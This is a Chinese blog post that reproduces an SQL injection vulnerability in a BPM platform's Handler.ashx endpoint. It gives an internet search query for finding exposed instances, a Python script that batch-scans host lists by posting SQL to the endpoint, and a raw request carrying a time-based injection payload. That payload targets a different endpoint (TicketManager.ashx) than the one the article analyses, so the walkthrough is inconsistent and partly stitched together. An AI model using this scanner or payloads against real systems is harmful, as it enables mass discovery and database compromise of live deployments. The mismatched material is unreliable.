首页 > 数据库 >【漏洞复现】某骋BPM Handler SQL注入漏洞

【漏洞复现】某骋BPM Handler SQL注入漏洞

时间:2024-08-17 09:58:36浏览次数:14  
标签:form url 数据包 BPM Content 漏洞 Handler file data

           声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

某骋BPM系统是一款全面的商业流程管理平台,旨在帮助企业自动化和优化业务流程。它集成了工作流引擎、表单设计和报表分析等关键功能,能够迅速建立标准化的业务流程,提升工作效率和管理透明度。某骋BPM适用于多种行业场景,如采购审批、费用报销、合同管理等,并提供丰富的行业模板以便快速部署。此外,系统还提供可视化的流程建模工具,使业务人员能够轻松参与流程设计和优化。凭借其强大的功能和卓越的用户体验,某骋BPM推动企业实现数字化转型,并提高整体运营管理水平。然而,其接口Handler.ashx存在SQL注入漏洞,攻击者可能通过此漏洞获取数据库敏感信息或执行系统命令。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:web.body="BP.WF.HttpHandler.WF_Portal"

2.使用poc批量扫描

import requests
import urllib3
from urllib.parse import urljoin, quote
import argparse
import ssl
import re

# 禁用SSL证书验证,忽略警告
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    """
    读取文件中的URL列表
    :param file_path: 文件路径
    :return: URL列表
    """
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    """
    检查目标URL是否存在CCBPM_Handler_Init_SQLInject漏洞
    :param url: 目标URL
    :return: 如果存在漏洞,返回True
    """
    url = url.rstrip("/")
    target = urljoin(url, "/WF/Comm/Handler.ashx?DoType=RunSQL_Init")
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
        "Content-Type": "multipart/form-data; boundary=----3Vn7mG2Td4Aq6Ew8Zj9Px5Bh1"
    }
    data='------3Vn7mG2Td4Aq6Ew8Zj9Px5Bh1\r\nContent-Disposition: form-data; name="SQL"\r\n\r\nSELECT HASHBYTES(\'MD5\', \'123456\')\r\n------3Vn7mG2Td4Aq6Ew8Zj9Px5Bh1--'
    try:
        response = requests.post(target, verify=False, headers=headers, timeout=5, data=data)
        if response.status_code == 200 and '4QrcOUm6Wau+VuBX8g+IPg==' in response.text:
            print(f"\033[31mDiscovered:{url}: CCBPM_Handler_Init_SQLInject!\033[0m")
            return True
    except Exception as e:
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")

cmd运行poc脚本:python poc.py -f host.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

1.构造数据包:


POST /SystemManager/Api/TicketManager.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 61

Method=GetReServeOrder&solutionId=1' WAITFOR DELAY '0:0:15'--

2.数据包分析 

  1. 这是一个HTTP POST请求的数据包,用于向服务器发送数据。以下是对数据包各部分的详细解析:

    1. 请求行(Request Line):

    POST /WF/Comm/Handler.ashx?DoType=RunSQL_Init HTTP/1.1
    


    这表示客户端希望向服务器发送一个POST请求,目标URL是`/WF/Comm/Handler.ashx?DoType=RunSQL_Init`,使用的HTTP协议版本是1.1。

    2. 请求头(Request Headers):

    Host: x.x.x.x
    User-Agent: Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
    Content-Type: multipart/form-data; boundary=----3Vn7mG2Td4Aq6Ew8Zj9Px5Bh1
    Content-Length: 147


    这些头部信息包括:
    - `Host`:指定了请求的目标服务器地址。
    - `User-Agent`:描述了发起请求的客户端类型和版本。
    - `Content-Type`:指定了请求体的内容类型,这里是`multipart/form-data`,并指定了分隔符为`----3Vn7mG2Td4Aq6Ew8Zj9Px5Bh1`。
    - `Content-Length`:指定了请求体的长度,这里是147字节。

    3. 空行(Empty Line):
    数据包中有一个空行,表示请求头和请求体之间的分隔。

    4. 请求体(Request Body):

    ------3Vn7mG2Td4Aq6Ew8Zj9Px5Bh1
    Content-Disposition: form-data; name="SQL"
    
    SELECT HASHBYTES('MD5', '123456')
    ------3Vn7mG2Td4Aq6Ew8Zj9Px5Bh1--
    


    这部分包含了实际要发送给服务器的数据。这里使用了`multipart/form-data`格式,每个部分由边界分隔符开始,然后是`Content-Disposition`头部,指定了表单字段的名称。在这个例子中,只有一个名为`SQL`的字段,其值为`SELECT HASHBYTES('MD5', '123456')`。最后,边界分隔符再次出现,后面跟着两个连字符`--`,表示结束。

3.结束跑路

1.构造数据包,发送。

每篇一言:萧萧玉笛兮孩儿啼,绵绵征军兮终不返。

标签:form,url,数据包,BPM,Content,漏洞,Handler,file,data
From: https://blog.csdn.net/weixin_54799594/article/details/141226708

相关文章

  • 萌新赛 sprintf漏洞
    首先是个.git源码源码泄露,用githack回复一下源码源码<?php$pass=sprintf("andpass='%s'",addslashes($_GET['pass']));$sql=sprintf("select*fromuserwherename='%s'$pass",addslashes($_GET['name']));?>......
  • addEventHandler(MouseEvent.MOUSE_PRESSED, new Event
    canvas.addEventHandler(MouseEvent.MOUSE_DRAGGED,newEventHandler(){@Overridepublicvoidhandle(MouseEvente){doubledifX=e.getSceneX()-baseDrageX;doubledifY=e.getSceneY()-baseDrageY;baseDrageX=e.getSceneX();baseDrageY=e.getSceneY();......
  • 前后端不分离"老"项目,XSS 漏洞处理实践
    前言本月迭代需求没有几个,领导给我派了一个漏洞修复的活。这个项目是一个前后端不分离的ToB老项目,前端使用Velocity模板+JQuery+miniui,后端是用的Spring。嗯,前后端不分离,技术老旧,模块众多且耦合,基础设施不完善,让我从一开始校招(2022)刚进来接触到这个项目时候,就感到“畏惧、难受......
  • wookteam协作平台api/users/searchinfo接口存在SQL注入漏洞 附POC
    @[toc]免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。1.wookteam协作平台简介微信公众号搜索:南风漏洞复现文......
  • 【漏洞复现】某成科信票务管理系统 TicketManager SQL注入漏洞
              声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。一、漏洞描述某成科信票务管理系统以私有/公有云为基础部署,实现了基础六管控多协同的智慧票务系统。该系统提供了票类策......
  • HW漏洞威胁情报第二十天|HW情报
      0x01阅读须知        技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使......
  • 微软紧急发布90个漏洞补丁,其中6个漏洞是被广泛利用的0day漏洞
    微软周二发布了修复程序,以解决总共90个安全漏洞,包括10个零日漏洞,其中6个已在野外受到积极利用。在90个漏洞中,7个被评为严重,79个被评为重要,1个被评为中等严重程度。这也是科技巨头自上个月以来在其边缘浏览器中解决的36个漏洞的补充。6个已被积极利用的零日漏洞:CVE-2024-......
  • 文件上传漏洞的基本上传思路
    一、仅做前端检测,未做后端校验:(ctfshow-web152)不允许上传.php等格式的文件1、禁用javascript2、先上传符合格式要求的.png图片-->Burpsuite修改后缀为.php绕过前端检测二、.user.ini文件利用:(ctfshow-web153).user.ini的作用类似于Apache服务器中的.htaccess配置文......
  • java几种常见漏洞种类及处理方案
    一、SQLInjection(SQL注入漏洞)1.使用参数化查询(PreparedStatements)参数化查询是防止SQL注入最有效的方法之一。它确保用户输入的数据作为参数传递,而不是作为SQL命令的一部分。在Java中,可以使用PreparedStatement来实现这一点。示例代码:Stringsql="SELECT*FROMusers......
  • 启动应用程序出现PdfPreviewHandler.dll找不到问题
    其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个PdfPreviewHandler.dll文件(挑选合适的版本......